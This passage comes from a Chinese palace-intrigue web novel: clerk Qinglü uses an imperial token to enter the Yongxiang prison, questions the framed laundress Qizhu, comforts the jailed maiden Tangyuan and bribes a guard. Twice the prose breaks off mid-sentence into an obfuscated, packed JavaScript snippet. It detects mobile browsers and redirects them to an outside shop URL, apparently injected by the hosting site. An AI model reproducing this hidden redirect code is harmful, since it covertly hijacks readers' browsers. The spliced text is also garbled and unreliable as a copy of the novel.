青绿打开食盒,取出一块玫瑰酥,待要放进嘴里,又依依不舍地放下,涨红着脸道:“谢殿下小哥,还有么?这盒带给宋婶,我去看她啥礼物都没准备。回头你再遣人送一盒过来呗。” 管胖子一口老血差点没喷出来:“小祖宗,你真当宋婶,呸,你宋大姐姐被我虐得连饭都吃不饱呢。” 青绿圆睁双目:“见了活人再与你理论。” 刘睿毫不掩饰脸上的幸灾乐祸:“对,好好理论理论。” 青绿此时才想起来问刘睿:“殿下小哥,你到兰台有何贵干?” 刘睿笑道:“找陆管事设计舞曲背景,我需要一个山水实景。” 青绿笑道:“那殿下小哥找对人了,陆叔于环境建设方面颇有造诣。” 管胖子对刘睿抱歉道:“我现在便带这个小无赖去收尸,恕不能奉陪。” 40.第四十章 入狱 今夜凡不凡在宫内当值,他每隔几日便要值一次夜,住在宫里,便让青绿独自乘坐他的马车回府。 青绿说自己在外办差好几个月,文书档案堆积如山,她留在兰台整理,也不回了,住在侍御史宿庐,陆叔给她安排有单间。 今日她拿到了进出宫禁的令牌,决定用过晚膳便去寻钟离梨,她迫切想知道,她托钟离梨寻找的那位嬷嬷是否已经找到。 青绿沿着屋檐的阴影朝鸣鸾殿方向疾步而行,虽已是黄昏,但酷暑未退,脚踩在甬道的青砖上能感觉到一股灼热。 快到鸣銮殿时,朦胧光影中,她看见前面一队巡查的卫士正朝自己走来,突然心里一慌,下意识地撒丫子朝一旁的岔路跑去。 有卫士大喊:“何人?别跑。” 青绿闻言,更如被鬼撵般飞跑起来,没跑多远,脚下一滑,在地上摔了个四仰八叉。 卫士们气喘吁吁追上来,为首的高大卫士,看样子是个卫尉,一把将她从地上拎了起来,扭着她的胳膊上下打量了一下,一脸警惕道:“你不是宫人?” 估计他有些懵逼,从年纪上判断青绿应该是宫人,但她穿的是常服,看不出身份。 卫士们如临大敌般将她团团围住。 卫尉喝问:“你是何人?如何进的宫?想干何事?” 青绿被问得一愣一愣的,忽然想到了什么,一下笑出声来:“啊哈,我是兰台的主簿,我有令牌。”说着从怀中掏出一个铜制长方形牌子递给高大卫士。 这是一块铜铸的牌子,差不多有巴掌大,状似短剑,上宽下窄,最窄处铸一虎目圆睁虎口大张的虎头,栩栩如生威风凛凛,正面上刻“兰台”二字,下刻一个“凡”字,背面通体錾刻着兰台防伪的精细兰叶纹,整块铜牌雄浑粗犷而又不失精致。 卫尉接过令牌细看,蓦地,他睁大了眼睛,目光死死盯着令牌正面右上角,那儿盖着一个小小金玺,大概以为自己看走了眼,他擦了擦眼睛又看了一遍。 他的视线从令牌移到青绿身上,再次认真地上下打量了青绿好一会,态度变得恭敬起来,但语气仍有些将信将疑:“凡主簿既有令牌,为何却一见我们便跑?” 青绿有些难堪,却负手挺了挺胸,直视着卫尉,心里默念:我不尴尬,尴尬的便是你。因理直气壮强词夺理道:“你哪只眼睛看见我一见你们便跑,我是追一只小松鼠,是你们一见我跑便追上来好不啦。我还没问你你倒先问起我来了。” 却恨不得给自己一巴掌,又没做贼心虚个屁啊。她刚才甫一看见卫士便下意识地躲开,全然忘了自己有可以在宫里能横着走的护身符。 卫尉不明所以地眨眨眼:“啊?” 把令牌递还给青绿,恭敬行礼后带队离去。 青绿理了理衣衫,拍去身上的尘土,昂首挺胸大摇大摆地到了鸣鸾銮殿,秀女们正在进行晚练习。 她摆出一副趾高气昂的姿态,从经史室将钟离梨从管事嬷嬷严厉的眼神下带了出来。 不知为何,钟离梨见了青绿,眼里的光闪了一闪便暗淡下来,神情萧索。 青绿不由心底一凉,难道钟离梨没有找着那位嬷嬷?脸上却是一副轻松状态,笑道:“我回来了几日,才寻着机会过来看你。” 钟离梨轻轻“嗯”了一声,有些欲言又止。 青绿携着她的手到了无人处,从袖内掏出一个食盒递给她。 钟离梨打开看了一眼,苦着脸向青绿投来询问的目光。 青绿一看,食盒已被压扁,里面的糕点零碎不堪,不由跌足道:“哎呀,这可是鸡油玫瑰酥,我自个都舍不得吃,才刚在路上摔了一跤,给压坏了。” 钟离梨意气阑珊道:“你的心意我领了,不吃也罢,吃完了若觉着好吃,下回上哪找去?” 青绿疑惑地看着她,见她眼眶竟微微泛红,以为她是心怀内疚,便安慰道:“梨子,没有找着那位嬷嬷,你也不必挂在心上,或许是我记错了呢,没事,我如今有出入宫禁的令牌,我们再慢慢找。” 钟离梨摇摇头:“你离开长安的第三日,我便打探到了,浣衣室确实有这么一位符合你所说特征的嬷嬷,五十上下年纪,脸瘦长,岭南人长相,两眼眼距较宽,她名为七竹,原是浣衣室主管,现因为犯事被下了永巷。” 永巷是后宫拘禁有罪妃嫔及宫人的地方,被关进去大概率只有死路一条。 青绿眉头微蹙,眼神掠过一丝意外,随即抿紧了嘴唇,神情紧张地环视四周,只有远处几名秀女在翩跹起舞,无人注意到她们这边,这才压低声音问道:“七竹嬷嬷因何事获罪?现被关在永巷何处?” 钟离梨道:“她被关在永巷最东头,我随训导嬷嬷进去看过。至于所犯何事,我费了很大劲也打探不出来。不过我倒是见过接任浣衣室主管的嬷嬷,生得贼眉鼠眼,一看就不是厚道人,故也不敢向她打探。” 青绿皱眉思索:看七竹嬷嬷面相甚是和善,当时在鸣鸾殿,七竹嬷嬷听到她说要引开卫士,脸上的表情既感动又不落忍,应该是个老实人,但因何被投入永巷,难道是卷入宫斗?着了浣衣室新主管的道?宫内这种事情无时无刻不在发生。 见钟离梨怔怔看着自己,便拍了她肩膀一掌:“还是梨子你有办法,我便说过,你有做谍子的潜质。” 钟离梨弱弱道:“切,没点看家本领,早被人欺负成狗了。” 钟离梨爹原是杭州织造府的一名高级官匠,具双重身分,既在官局织造进贡的布料,同时可自置织机自营织业,家境在杭州算中等,娶了三房娘子,大娘子娘家开办私塾,二娘子出身庄户人家,三娘子是扬州瘦马。 钟离梨与哥哥钟离木为大娘子所出。钟离梨尚在豆蔻之年,一个无风无浪的明媚春日,爹娘毫无征兆地溺毙于西湖,家里顿生巨变。 二娘憨厚,斗不过七巧玲珑心的三娘,且无子嗣,收拾体己回了娘家;三娘领着亲生儿子,钟离梨同父异母的弟弟钟离春,口口声声要为老爷守孝,实则一边加紧将家里的田地商铺落在钟离春名下,一边盘算着如何尽快将大房的兄妹俩赶出家门。 钟离木终日只知埋头苦读,对此不闻不问,眼看兄妹俩将被扫地出门,钟离梨却将族中长辈邀至家中,拿出一封娘留下的爹亲笔书写的遗书,当着族长的面理直气壮地摊在众人面前。 遗书上清清楚楚地写着:吾若遭不测,祖宅当归大娘子及其子女;其余田亩铺面,由三位娘子均分。 三娘自知理亏,也不敢深究,带着儿子及几十亩良田,及位于正街的三间旺铺,下嫁钟离爹的大徒弟。 如此,钟离梨兄妹俩才又过上了安生日子。 青绿一听找到了七竹嬷嬷,心里一块石头落地,由衷地感叹道:“你真的找到七竹嬷嬷了?真是太好了!谢谢你,梨子。翌日我便进永巷。”却又有些犹豫,“可我用何借口进去见她,才不让人生疑呢?总不能无聊到跑去永巷送温暖吧。” 钟离梨神情萎靡道:“不如我犯些小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564505|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错被逮去永巷,你到永巷捞我?”那样子不像是在开玩笑。 “我呸,你脑子被门夹过么?想出这等昏招,一个七竹嬷嬷的事儿还没搞清楚,还要搭上一个。你可知一旦进了永巷,你个人典籍上将留下记录,还怎么侍奉皇帝?又或是嫁给哪些个皇子皇孙?” “我不稀罕,如能自选,我倒愿意如你这般做个宫官。可惜我没你那份能耐。”钟离梨虽然和青绿说着话,却始终提不起精神。 青绿目不转睛地注视着她,忽然问:“汤圆呢,她还好么?” 钟离梨泪水滴落下来:“汤圆,也在永巷,今早进去的。” “你说什么?汤圆在永巷?”青绿瞳孔倏然放大,拼命摇晃着钟离梨的肩膀,“难怪我看你一直不太对劲,你为何不早说?” “看你为七竹嬷嬷着急的样子,我总得先告诉你关于她的消息。再说,早说晚说不都一样?我们能有什么办法?连齐姑姑出面都没用,永巷那边说了,才进去还没有过堂,不许领人出来。” “你快说说怎么回事?汤圆因何入了永巷?”青绿急道。 “因为得罪了七公主。”钟离梨语气悲凉。 “所为何事?” 钟离梨擦了一把脸上的泪水,缓缓说起了事情经过: 今日早上,汤圆快回到秀女寝室时,突然从墙外飞来一个圆球落在她面前,她顺手捡了起来,这是一个十分精致的多层藤鞠,深褐色藤条层层叠绕成球,外层缀银铃,最内层嵌一颗莹白珍珠。 她正看着,一名七八岁的小姑娘飞跑过来上手便抢,说藤鞠是她的,不知道汤圆对小姑娘说了一句什么话,然后两手一松,许是这个动作太突然,小姑娘一下向后倒在地上,后脑勺磕着地上的小石子,肿起一个小包。 汤圆连忙去扶小姑娘,嘴里还连连道歉。 小姑娘很生气,对跑过来的一名宦官道:“叶内侍,将这贱人绑了送去永巷,不必惊动母后。” 宦官应道:“是,七公主。” 跟在汤圆身后回寝室的一名秀女目睹了事件的全过程,跑去禀告齐姑姑,钟离梨才知道汤圆出事了。 钟离梨哽咽道:“我只恨自己没本事,救不出汤圆,她那么善良乖巧。” 青绿心情沉重,喃喃道:“怎么会这样?”着急道“不行,我得马上进永巷。” 钟离梨抬头看了看天色,断然摇头道:“不行,天黑了,你一个人进永巷不方便。” 青绿道:“正因为天黑了,我怕汤圆会出事。”她眼前浮现出汤圆怯怯的双眸及带着婴儿肥的小脸,心里一阵隐隐作痛。 遂拿定主意,打着兰台的旗号进永巷,若事情败露,大不了被瓜老头臭骂一通,再狠一点,被他掐脖子而已,死不了。但若她不进永巷,胆小的汤圆不被吓死也被吓傻。 汤圆出身虽然不高,因是幺女,上有两个哥哥一个姐姐,在家人呵护下长大,没吃过什么苦也没受过什么委屈。 钟离梨见她执意要去,拔下头上的玉钗塞到她手里:“打点内监用得上。” 内监是看守永巷的宦者。 青绿推开她的手道:“这个暂且用不着,我有这个。” 怀里掏出一个小布袋,打开给钟离梨看,里面是几个金锞子,这是她出门前特意带上的,在宫里若想问路办事顺利,宫人宦官总得小小打点一下。 对钟离梨挥了挥手:“我去了。” 钟离梨泪眼迷离:“好妹妹,务必当心。” 41.第四十一章 永巷 夜色浓重,青绿独自走在前往永巷的甬道上,偶尔路过一座宫殿,宫墙上挂着的昏暗宫灯,在婆娑的树影下明明灭灭,将她的影子拉得忽长忽短。 一片嘈杂的蝉鸣声中,偶尔夹杂着夜鸮的啼叫,听得她脊背发凉,忙加快了脚步,几乎是一溜小跑到了永巷大门。 两道人影突然从暗处现身,横戟拦住她的去路,青绿被吓了一跳,借着昏黄的灯光,看清了是一高一矮两名狱卒。 一名高个狱卒冷声发问:“来者何人?掖庭有令,戌时后任何人不得进出永巷,擅闯者死。” 青绿走得急,又被狱卒猛不丁吓了一跳,手捂住胸口大口喘着气,一时来不及回答。 矮个狱卒大戟朝地上一顿:“你是何人?再不说便将你就地押入永巷。” 青绿好不容易缓过气来,腰间解下令牌递给高个狱卒道:“两位大哥,我乃兰台主簿凡青绿,奉命办差。” 高个狱卒接过令牌并未急着看,而是狐疑地问道:“有没有搞错?这里是永巷,归掖庭狱管,何时与兰台扯上关系啦?” 矮个狱卒上前不耐烦道:“快走,管你兰台黑台,夜晚不许会客,办差翌日再来。”举着大戟去赶青绿。 青绿立定脚跟,镇定地对高个狱卒道:“大哥,你先看清楚令牌再说话不迟。” 高个狱卒狐疑地看她一眼,举着令牌在灯下细看,突然眼睛瞪得大如铜铃,随即将令牌双手捧还给青绿,毕恭毕敬道:“凡主簿,您请进,巷监廨在进门右手第一间。” 狱卒只负责看守大门,看守犯妇的,还有在巷监廨当值的内监。 青绿朝两名狱卒拱了拱手,一脸淡定朝里走去。 身后传来两名狱卒的交谈声: “大哥,那令牌有甚特别的?看把你吓得。” “上面盖着陛下的玉玺,兄弟你说呢?” “啊,只要不是眼瞎撞到天子身上,那谁也拦不住啊。只是黑灯瞎火的,一个小姑娘跑永巷做甚?” “兰台人办差何时不是神出鬼没?不是夜黑风高他们都懒得出门,这不是你我该关心的事儿。” 巷监廨内,一名中年宦官正在就着一碟花生米,举着小酒壶自斟自饮,鼻头红红的,看见青绿进来,懒洋洋斜瞥她一眼,并未表现出任何热情,这个时辰进永巷的不会是什么大人物。 青绿递上令牌,口称:“我乃兰台主簿凡青绿,到此了解一名犯妇情况,请大叔行个方便。” 红鼻头内监凑近细看令牌,脸上表情顿时一惊一乍,带着谄媚的语气道:“凡主簿要查问何人?” 青绿脸上挤出笑容道:“今日可有名为汤圆的秀女押送至此?” 内监忙道:“有啊,一进来便哭到现在,怪烦人的。” 青绿神情一秒变为严肃:“我奉命进去问她几句话。” 内监从墙上取下一串钥匙及两个灯笼,递了一个灯笼给青绿,殷勤道:“我领凡主簿进去,我也该巡夜了。” 他打开巷口的铁门道:“凡主簿请留意脚下,路不好走,有些坑洼。” 青绿跟在他身后,站在巷口朝里看,这是一条幽长的小巷,左边是狭窄的一间连着一间的牢房,右边是围墙,黑乎乎的望不到尽头,一片死寂,几乎感受不到活人气息。 这里起初是宫人居所,后成为关押有罪宫人及嫔妃的场所。宫中女监除了永巷外,还有专门关押嫔妃的漂染晒纱布的暴室,条件稍好些。 此时突然响起阵阵断断续续哀怨的哭泣声,青绿打了个寒颤,紧走两步跟上内监,与他并肩而行。 内监边走边对她道:“永巷有三十间牢房,现押着二十三名犯妇,今日送来的关在十七号。” 青绿“嗯”了一声。 每经过一间有人的牢房,内监便一边打开门锁,一边喝叫犯人名字,听到回答后,举着灯笼怼脸晃一晃,算是进行核对。 青绿看到这些妇人老中青均有,全都是面容憔悴,眼神空洞。 到了第十七号牢房,一名双手掩脸低头坐在床沿上低声啜泣的女子,听到开锁声,背对着房门站了起来,肩膀仍在不停地抽搐。 内监喝道:“汤圆。” 女子吓得一激凌,转过身来,紧闭双目全身都在颤抖。 青绿看着她蜡黄的如丧考妣的小脸,心里一痛,强忍着默不作声。 内监大为光火,怒斥道:“这死人样摆给谁看?连个回应都没有。进了此处就别想着哪位主子能看顾你了。” 转向青绿才要说话,青绿摆摆手,示意内监离开。 出了房门,青绿对内监道:“这些房门你先别锁上,回头我与她们聊几句。” 内监讨好道:“主簿随意,其实这门上不上锁都无甚大碍,别说犯妇出不了永巷,便算出了永巷也出不了宫门,主簿走后我再进来锁上便是。” 青绿居高临下地点点头。 内监又小心翼翼地问:“永巷出了什么岔子么?这么晚了,主簿还亲自进来。” 青绿轻描淡写道:“与内监无关,只是有件差事恰好与十七号有些瓜葛,既然进来了,也顺便了解一下别的,你想知道?” 内监忙摆手:“不,卑职不敢,不是永巷的问题便好,我可都是尽心尽责地管着这一亩三分地。” 青绿点头:“这个我知道。” 将到巷子尽头,内监开了房门喊道:“七竹。” 青绿就着内监举着的灯笼,看见一张头发花白满脸皱纹的清瘦长脸,双眼眼距较宽,鼻梁扁平,正是清明节在夕颜殿见过的妇人。 妇人神情冷漠地抬起眼眸看了一眼青绿。 查验完毕,青绿与内监掉头往回走,在十二号房门前,青绿对内监道:“我与十二号犯妇说几句话。” 内监识相地点头道:“明白。” 青绿目送他出去关了大门,转身进了十二号牢房,简单问了里面关着的一名妇人有关吃住条件的问题后便退了出来,此举是障眼法,她不想让内监知道她单独去见了七竹。 出了十二号,青绿看看关紧的大门,掉头快步走到七竹所在的牢房,轻轻推门而入。 她手上的灯笼照亮了这间不过巴掌大的陋室,目力所及只有一张仅容一人躺下的简陋木床,床头一角堆放着几件叠得整整齐齐的衣裳,床尾是单薄的被褥,中间摆放着些女工针黹。 七竹静静靠床沿站着,神情木然。 不知从哪个墙缝透进来的风吹得青绿打了一个哆嗦。 青绿轻声唤道:“七竹嬷嬷。” 七竹平静道:“我记得姑娘。” 青绿将房门掩上,在门旁静听了一会,靠近七竹道:“我是兰台主簿凡青绿,此处不能待得太久,只问嬷嬷几句话,望如实告之。” 七竹未置可否,眼神中带着高度戒备。 青绿不作过多解释,直截了当道:“嬷嬷是因为何事进的永巷?” 七竹眼中闪过一丝疑虑,沉思片刻,轻声道:“因为一件礼服。椒房殿陈尚衣将皇后准备在先蚕礼祭祀时穿的礼服交给我,说礼服存了一些时日,有些气味,嘱我务必亲自动手清洗干净。” 皇宫每年仲春时节都要举办籍田礼及先蚕礼。籍田礼,由皇帝亲自下农田推犁插秧以示亲耕,然后行祭祀大典;对应的先蚕礼,则由皇后率后宫妃嫔及公卿列侯的夫人,到桑田采桑缫丝,然后行祭祀蚕神大典。 世人笃信“天人感应”,认为先蚕礼能否成功举办与皇后德行有关,故先蚕礼之于皇后是一等一的大事。 今年天公不作美,忽冷忽热时旱时涝,先是早春一场霜雪将桑树冻死大半,待补栽完毕又遇大旱,生生将先蚕礼拖到清明以后,成了夏蚕礼。 “皇后礼服的一应浆洗晾晒我都亲力亲为,不敢假手他人。那日,我将洗净叠好的礼服亲自送到椒房殿,陈尚衣当着我的面打开细细查看,却在裙脚处发现一点灰色印渍,便一口咬定我用心歹毒,目的是让皇后不能如期举办先蚕礼。”七竹继续道,语气透着悲凉。 青绿追问:“这其中的过程便只有你一人经手么?” 七竹不假思索道:“我事后回想此事,礼服不在我手上仅有一次,我准备将礼服送椒房殿之时,因要小解,不能将礼服带进恭房,便交给随我一同去椒房殿的浣衣室宫人夏秋,还叮嘱她不能让旁人接触。若是别有用心的人搞鬼,便只有这一机会。” 青绿若有所思,沉吟道:“夏秋。” 七竹继续道:“我看了礼服上的印渍,是可以洗去的,便对陈尚衣说我拿回去再洗一遍,她却说‘再让你洗,我们都得掉脑袋’,不容我分辨,将我下了永巷。”言罢低头,默默叹了一口气。 青绿开门探头看了一下,转头继续问:“你可曾与浣衣室现任管事汪氏有过过节?” 七竹摇头:“不曾。”抬头看向青绿,似乎在判断青绿问这话何意。 青绿清澈的眼眸甚为关切地看着她。 七竹一顿,加快语速道:“我是骆越族人,男人是南境军队的戍卒,被南越王裹胁谋反,兵败后被杀,我被没入掖庭,在浣衣室干粗活,一直小心谨慎勤勉,得以升任浣衣室主管。” 七竹喘了一口气,继续道:“浣衣室的宫人大多是犯人眷属,我待她们甚好,多年来相安无事,直至前段时日汪氏来了,号称与椒房殿有关系,说话办事颇为颐指气使,我也不与她计较,只是更加小心谨慎。” 青绿点头道:“明白了。七竹嬷嬷,我会想办法把你弄出去。” 七竹摇头,声音苦涩:“我七岁被卖给人当童养媳,并无子嗣。从儿时忍饥挨饿,到童养媳挨打受骂,再到投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580647|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入永巷的百般折辱,受苦受累永无尽头,不出去也罢,死便死了,早死早超生,今世太苦,来世再投个好胎。” 青绿急切道:“七竹嬷嬷,万不能这么想,便是再难,也得活着,想想出去后该做的事。” “想又能如何?我被投入永巷数月,既不审也不判,甚至无人过问,不过等着自生自灭罢了。”声音如浸水的棉花,沉得发闷。 “七竹嬷嬷,你信我,也相信你自己,要活着看到陷你于死地的恶人得到应有的报应。” 七竹看青绿不像是在敷衍,眼神渐渐有了一丝光亮,咬了咬牙:“横竖也没有比现在更苦更无望的日子了。虽然奴婢不清楚姑娘为何要救奴婢,但奴婢相信姑娘。” 青绿将几个金锞子递给七竹:“嬷嬷不要与任何人说起我过问此事,只等我消息便好。” 七竹点头:“明白。”并不接金锞子,“这个请姑娘收回,我暂时还用不着,我的针线活能对付得来。拿着这个反而让人起疑。” 永巷的犯妇统一由永巷丞管理,永巷丞下置内监,穷苦犯妇若想过得好些,只能靠做些女红挣些微薄补贴,但购进原料及卖出成品悉由内监代理。七竹的针线活极好,一拿到货摊便被抢购一空,故内监也不太过为难她。 青绿将金锞子收回,握住七竹青筋突暴的手,语气恳切道:“七竹嬷嬷,我不能在明处帮你,你须得自己保重。” 七竹神情凝重点头道:“姑娘放心。” 青绿告别七竹快步离去,本来她想直接问七竹与鸣鸾殿的谌鱼少使是何关系,为何要在清明节给她烧纸。但一看七竹对自己充满了戒备,料想她未必愿意说,或用些别的话语来搪塞。 诚如七竹所表现出来的,她不惜命,但并不等于她不替别人考虑,毕竟谌少使及宫女阿倩的死牵涉到太多错综复杂的往事。 所以青绿改变主意,决定先捞七竹出去,不能让她死在永巷。 青绿急走进汤圆所在的十七号牢房,汤圆甫一看清楚她的脸,便扑过来抱着她发出嘶哑的哭嚎。 青绿将灯笼放到地上,急得捂住她的嘴:“大半夜的,惊着人可不好。” 看着她心疼道:“我在这儿不能久留,你先别哭,先把事情说清楚,如何便惹上了七公主?” 汤圆含悲忍泪道:“当时一个藤鞠落在我面前,我捡了起来,一个小姑娘跑过来,说鞠是她的,我随口问了句‘如何证明鞠是你的’,她很生气,一边抢鞠一边说‘就是本公主的’,我一听是公主,吓得下意识地松开手,小姑娘摔倒磕破了脑袋。” 青绿喃喃:“就此酿成大祸。” 汤圆抱紧青绿,声音惨痛如濒临溺亡的小猫:“姐姐救我。” 青绿拍着她的后背安慰道:“你且放心,我与梨子、还有齐姑姑都在想法子。” 青绿看着桌上一个粗糙的陶碗内盛着四个黑硬的窝头及两片咸菜,因问:“你一天都没有进膳?” 永巷膳食按人头配给,每人每餐两个窝头一片咸菜,偶有一二片腐肉,故牢内妇人大多面无血色。 汤圆泪珠扑簌簌地又落了下来:“我吃不下。” 她的出身无法与京师豪门相比,但因是家里最小的孩子,从小娇生惯养,爹娘兄弟尽皆宠着她。 青绿摇头道:“你必须得吃,不然等不及捞你出去,你便先死翘翘了。” 汤圆头埋在她怀里,哭得泣不成声:“姐姐务必想法子救我,早点离开这暗无天日的地方。” 青绿以不容置疑的口吻道:“前提是,你得活着,只要活着才有希望。” 汤圆泪水迷蒙:“我听姐姐的,姐姐可要尽早救我。” 青绿斩钉截铁道:“你放心,我一定会救你。” 回到巷监廨,青绿掏出一把金锞子递给红鼻头内监:“大叔辛苦了,些许薄酬,用来买酒。” 内监受宠若惊,一边伸手接过金锞子,一边假意道:“哪能让主簿大人破费?主簿有事尽管吩咐。” 青绿正色道:“巷里的犯妇虽有罪在身,但如死在此处,内监也会有大麻烦,劳驾大叔给她们添些膳食,那些年老体弱的更要多注意。” 内监连连答应:“应该的。” “十七号年纪小,大叔多看顾些,别让她吓着了,还有,方才我看到最后一间牢房那位叫啥名的?年纪大了身子病弱,你得盯着,可不能让她死喽。” “都按主簿所说去做,主簿放心,这儿除了内监丞,唔,他不常来,这儿卑职说了算。” 青绿满意点头:“如此甚好,过几日我再来。”将剩下的金锞子连同袋子一并塞进内监手里,“今日我来此处是密访,知道说出去的后果吧。” 红鼻头内监如小鸡琢米般忙不迭点头道:“卑职明白,卑职便有一百个胆也不敢对第二个说。” 42.第四十二章 打捞 回到寝室,青绿辗转反侧,冥思苦想。 七竹和汤圆都要救,但如何救,着实得费一番心思。 她可以过问汤圆的事,毕竟她与汤圆、钟离梨的关系摆在明处。但汤圆入狱是因七公主一句气话,并没有走流程。宫人犯错,需交掖庭狱按律处置,无论何人,擅自将宫人投入大牢是大忌,会受到严厉惩罚,否则今日敢私自动刑,他日便敢凭着身份草菅人命。 七公主尚小,不懂这些,以为吓唬一下过几日放出来便是,却不知进了永巷的人有去无回。皇后管理后宫,若禀告她汤圆即可出永巷,但此事若传扬开去,恐损七公主名誉及皇家仁德之名,皇后难免不迁怒汤圆和秀女教习室,这也是齐姑姑一筹莫展的原因。 七竹的事更为棘手,青绿不能让任何人知晓自己在帮七竹,因为她与七竹无任何关系,哪怕她过问一下都会让人起疑。 兰台东院,青绿遇上匆匆而出的管胖子,眼前一亮,何不向他讨教一二,因拦住他道:“师兄,瞧你这样子,赶去投胎么?” 管胖子无奈道:“又生啥幺蛾子?你宋婶还活着,活蹦乱跳。” 那日,在刘睿自告奋勇主持公道下,管胖子将青绿带到了他新置的离皇宫不远位于章台街的宅院。 这是一个二进小院,生活设施一应俱全,所置用品俱是上等。 宋婶万分惊讶地迎着青绿道:“姑娘,你怎么来了?” 管胖子撇撇嘴,对青绿道:“我先走了,你也别扯长了,完了赶紧滚犊子回去,师傅寻不着你怪罪下来我不包打圆场。” 青绿细看宋婶,但见她一头乌黑秀发在耳边挽成一个堕马髻,上插一支碧玉玲珑簪,月缎浅色罗裙紧裹着丰满腰身,薄施脂粉,肌肤红润而富有弹性,整个人显得极为鲜亮。 青绿遂放下心来,抱歉道:“婶,我办差回到长安,便想去告诉你我胖师兄在打你主意,让你躲他几日,但脱不开身,待我得空赶到菜市口,都说你没有出摊。早知如此,我一回到京师便该去寻你的。” 宋婶低头道:“让姑娘费心了。” 青绿迟疑片刻,还是忍不住问:“婶,我害了你么?若不是我们去吃面,便没有这一出了。师兄可是强娶你进门?你可受委屈?婶你别怕,你若是被逼的,我替你告到陛下跟前,还你一个自由身。” 宋婶脸上显出苦笑:“姑娘说什么呢?老爷并没有强娶,只是让人有些猝不及防。” 青绿讶异:“此话怎讲?” 宋婶脸现羞赧:“老爷几日前到了我的面摊,说要娶我,若答应便跟他走,我说生不生儿子不是我说了算,他说那也不怨我,女儿一样是亲生的。还说把我儿当亲儿子待,送他去学宫念书。” 青绿觉着有些不可思议:“这么直截了当?婶,他告诉你他已有妻妾?” “说了。我说此事太突然,容我想想,还得问过我儿。他说给我一晚上考虑。” 青绿瞪圆了双眸:“然后你答应啦?” 宋婶发自心底一声长叹:“寡妇门前是非多,常有泼皮欺到家门想行苟且之事,还拿我儿威胁我。我每每吓得半夜起来将门闸顶了三道杠仍是睡不着。多少次,我甚至想嫁给前街的破落户子弟。” 青绿看着宋婶既无奈又矛盾的表情,一时心里五味杂陈,不知是该替她难过还是替她高兴。 宋婶敛了敛神道:“姑娘不必替我担心,我不委屈,我儿现就读山尚学宫,这是我一辈子都求不来的福气。各人有各命,或许,这便是我的命罢。” 青绿这才想起吴雅童,笑问:“怎的不见乌鸦童?” “他吃住均在学宫,不回来。”宋婶语气带着些许伤感,“他不认这个家,更不认这个爹。” 青绿晃了晃脑袋,板着脸对管胖子道:“宋婶的事我暂不与你计较。”脸上表情一秒改为真诚,“师兄,我有一事请教。” 管胖子见她态度诚恳,勉强止步道:“何事?说来听听。” “后宫宫人犯错,兰台能不能管?” “好我的小姑奶奶,兰台不是掖庭,兰台管的是百官公卿,非朝廷高官都排不上号,后宫那些个鸡毛蒜皮芝麻绿豆的事情搭不上界。” “若后宫有冤呢,便无处可伸?” “后宫之事归皇后管。哎,我说,你可别作妖,最近你的小爪爪伸得有些长哦,当心被砍。”管胖子绿豆眼瞪着她,胖熊掌做了一个狠狠砍下去的动作。 青绿脸上绝无半点玩笑的成分:“我是当真的,若皇后宫中出了幺蛾子又该如何?” 管胖子如同被蛇咬了一口,蹦起来道:“那万万不能惹。” “嗯,是椒房殿陈尚衣的姐夫家的亲戚,我还没说完呢,你急啥?”青绿瞪了管胖子一眼,一个字一个字缓缓吐出后面的话。 管胖子如释重负:“这又是另一回事了,如事涉皇后,要由陛下定夺。区区一名小小的尚衣不过是藤上的一个小瓜,连瓜都算不上,可能只是一片叶子罢了,管她做甚?” 青绿面露不屑:“欺软怕硬,这可不是兰台人该有的风骨。” “这不是风骨不风骨的问题,清官难断家务事,大凡后宫之事,一沾上便如鼻涕虫一般甩都甩不脱。你当那些后宫嫔妃都是蘑菇,从地里冒出来的?谁家没个七姑八姨的,事不大牵扯却不少,所以能不沾就不沾。但有一条,在后宫玩玩宫斗便罢,如牵涉到前朝绝不姑息。” 青绿脸上一副菜鸟求教的表情:“我只是眼里容不得沙子。师兄教我如何摘掉烂叶子呗。” 管胖子对她的态度颇为满意,开导道:“你查清烂叶子所有罪证,秉明皇后即可,她治理后宫还算公平,但必须证据确凿,事实清楚。” 青绿突然脑子灵光一闪,对呀,七竹是受人诬陷获罪入狱,只要查明真相禀明皇后,皇后一过问便好办了。 青绿微笑点头:“谢谢师兄指点迷津。” 管胖子一副买一送一的慷慨:“再指点你一下,无论办大案小案,务必一举办成铁案,如办成夹生饭再回锅便难了,到时可千万别对人说你是我师妹,我丢不起那人。” 青绿害怕地缩起小肩膀:“不敢,我捉妖的法术,只说是跟二师兄学的。”未等管胖子回过味来便跑进了书房。 青绿对进来倒茶的小石头,如此这般吩咐了一番,小石头点头,郑重道:“主簿姐姐,我会留意。您放心,我对谁都不会说。” 炎热的午后,下了一场透雨,连日的暑气被雨水冲散。 青绿踩着沁着潮气的青砖到了东宫,亮出令牌,说要面见六殿下。 宫人将她带至刘睿书房,让她在门口稍候,自己进去通报。 青绿候在门外,听到里面传出两人的对话声。 熟悉的女子声音道:“七公主殿下,你要取物,吩咐宫人便是,仔细被书架上的物件掉下来砸着了。” 小姑娘稚声稚气的声音:“六哥藏了什么吃食?文渊姐姐,你把上面的食盒拿下来让我瞧瞧。” “那是公子留给青绿姑娘的玫瑰鸡油酥,动不得。” 